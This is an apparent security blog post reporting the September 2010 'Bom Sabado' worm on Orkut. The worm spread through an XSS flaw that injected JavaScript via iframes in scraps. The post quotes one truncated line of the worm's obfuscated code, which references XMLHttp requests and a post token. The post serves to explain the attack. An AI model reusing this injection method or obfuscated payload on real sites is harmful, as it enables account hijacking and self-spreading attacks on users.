Orkut Worm spreading through XSS loophole Comment [0]
Orkut, a popular social networking site, was hit by a new worm on Saturday, September 25, 2010. The worm uses a XSS exploit on the Orkut website that allows malware writers to inject malicious javascript files using iframe tags in the scrap text. The body the scrap text will read “Bom Sabado!”
In fig 1 you can see the html code of the infected scrap.
Fig1 Infected Scrap
Given below is a portion of JavaScript code file
var _0x37a1=["x4Dx69x63x72x6Fx73x6Fx66x74x2Ex58x4Dx4Cx48x74x74x70","x50x4Fx53x54x5Fx54x4Fx4Bx45x4Ex3D…
Blog tags:
General security
